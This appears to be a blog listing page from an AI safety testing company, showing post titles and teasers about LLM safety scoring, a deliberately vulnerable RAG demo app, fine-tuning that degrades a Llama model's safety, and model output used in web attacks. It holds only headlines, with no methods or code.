Start LLM Safety Testing in 3 Easy Steps
GPT2 165M model has got 70/100 Score on Safety Testing
Pokebot, a Vulnerable RAG App!!
We are excited to announce the release of Pokebot (Poke a Bot)…
Effect of Poor Training Data on LLM Finetuning
How did we transform a Good Llama to a Bad Llama in just 200$, and in few hours?
Models Harmful Output Reflection Vulnerability
Is it possible to utilize Models / LLMs output to attack related components such as web apps? similar to XSS, CSRF, or SSRF?
© Detoxio AI Pvt Ltd. 2024
